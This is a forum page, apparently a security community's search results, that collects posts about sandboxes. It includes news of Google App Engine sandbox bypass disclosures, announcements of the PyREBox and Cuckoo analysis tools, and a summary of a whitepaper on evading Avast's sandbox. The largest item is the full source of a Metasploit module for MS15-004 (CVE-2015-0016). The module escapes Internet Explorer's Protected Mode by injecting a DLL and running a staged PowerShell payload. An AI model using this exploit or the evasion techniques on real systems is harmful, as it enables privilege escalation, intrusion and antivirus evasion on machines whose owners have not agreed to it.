Search the Community

O mica jucarie pentru cei ce se ocupa cu Reverse Engineering. Momentan doar pentru Windows, arhitecturi x86 si x86_64. Articol: http://blog.talosintelligence.com/2017/07/pyrebox.html Repo: https://github.com/Cisco-Talos/pyrebox

Vulnerabilities in the Google App Engine cloud platform make it possible for attackers to break out of a first-level security sandbox and execute malicious code in restricted areas of Google servers, a security researcher said Friday. Adam Gowdiak, CEO of Poland-based Security Explorations, said there are seven separate vulnerabilities in the Google service, most of which he privately reported to Google three weeks ago. So far, he said, the flaws have gone unfixed, and he has yet to receive confirmation from Google officials. To exploit the flaws, attackers could use the freely available cloud platform to run a malicious Java application. That malicious Java app would then break out of the first sandboxing layer and execute code in the highly restricted native environment. Malicious hackers could use the restricted environment as a beachhead to attack lower-level assets and to retrieve sensitive information from Google servers and from the Java runtime environment. Technical details about the bugs, noted as issues 35 through 41, are available here, here, here, and here. In an e-mail to Ars, Gowdiak wrote: Gowdiak took to the Full Disclosure e-mail list to disclose the bugs and to call Google out for not responding to his private advisory, which he said included proof-of-concept exploit code. "It's been 3 weeks and we haven't heard any official confirmation / denial from Google with respect to Issues 37-41," Gowdiak wrote. "It should not take more than 1-2 business days for a major software vendor to run the received POC, read our report and / or consult the source code. This especially concerns the vendor that claims its 'Security Team has hundreds of security engineers from all over the world' and that expects other vendors to react promptly to the reports of its own security people." Google has received criticism in the past when its Project Zero has disclosed vulnerabilities in Windows and Mac OS X before Microsoft and Apple had patched them. Asked for comment on Gowdiak's Full Disclosure post, a Google spokesman issued the following statement: "A researcher recently reported a known issue affecting a preliminary layer of security in Google App Engine. We’re working with him to mitigate it; users don’t need to take any action." Source

Full materials and proof of concept code has been released for the Security Explorations discovery of various Google app engine java security sandbox bypasses. Download pack: Download: Google App Engine Java Security Sandbox Bypasses ? Packet Storm

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, { 'Name' => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape', 'Description' => %q{ This module abuses a process creation policy in Internet Explorer's sandbox, specifically the Microsoft Remote Desktop Services Web Proxy IE one, which allows the attacker to escape the Protected Mode, and execute code with Medium Integrity. At the moment, this module only bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This module has been tested successfully on Windows 7 SP1 (32 bits) with IE 8 and IE 11. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # From Threat Intel of Symantec 'Henry Li', # Public vulnerability analysis 'juan vazquez' # Metasploit module ], 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'Arch' => [ARCH_X86], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 30 }, 'Targets' => [ [ 'Protected Mode (Windows 7) / 32 bits', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2015-0016'], ['MSB', 'MS15-004'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/'] ], 'DisclosureDate' => 'Jan 13 2015' })) end def check temp = get_env('WINDIR') dll_path = "#{temp}\\System32\\TSWbPrxy.exe" win_ver = sysinfo['OS'] unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/ return Exploit::CheckCode::Safe end unless file_exist?(dll_path) return Exploit::CheckCode::Safe end Exploit::CheckCode::Detected end def exploit print_status('Checking target...') unless check == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'System not vulnerable') end if session.platform !~ /^x86\// fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment') end win_ver = sysinfo['OS'] if win_ver =~ /Windows 2012|Windows 8/ fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment') end print_status('Checking the Process Integrity Level...') unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NotVulnerable, 'Not running at Low Integrity') end cmd = cmd_psh_payload( payload.encoded, payload_instance.arch.first, { :remove_comspec => true } ) print_status('Storing payload on environment variable...') cmd.gsub!('powershell.exe ','') session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd) print_status('Exploiting...') temp = get_env('TEMP') # Using the old meterpreter loader, if it's loaded with # Reflective DLL Injection the exceptions in the sandbox # policy won't apply. session.core.load_library( 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'), 'TargetFilePath' => temp + '\\cve-2015-0016.dll', 'UploadLibrary' => true, 'Extension' => false, 'SaveToDisk' => false ) end def cleanup session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil) super end end Source

Cuckoo Sandbox is a malware analysis system. It simply means that you can throw any suspicious file at it and in a matter of seconds Cuckoo will provide you back some detailed results outlining what such file did when executed inside an isolated environment. Download: Automated Malware Analysis - Cuckoo Sandbox

Introduction Alternate data stream is supported by NTFS systems to aid the Macintosh Hierarchical File System (HFS) that uses resource forks to store icons and other information from a file. Basically using Alternate Data Stream, users can easily hide files that go unnoticed by some system administrators. Alternate Data Strem gives you the ability to inject / add file data into existing files without affecting their functionality and size. This whithepaper will start with the basic use of Alternate Data Stream and therefore this whitepaper show how to bypass Avast Sandbox. It is not the focus of this whitepaper how to bypass antivirus using public knowledge. However, aims to circumvent protection system AvastSandBox. As a test system we used the operating system WindowsXP service pack2. For a remote administration program was used metasploit. Any knowledge found in this whitepaper is used with educational purposes only and the author is not responsable for damages caused to third parties with knowledge of this whitepaper. Thanks, W1ckerMan. Download: http://dl.packetstormsecurity.net/papers/bypass/bypass-avast.pdf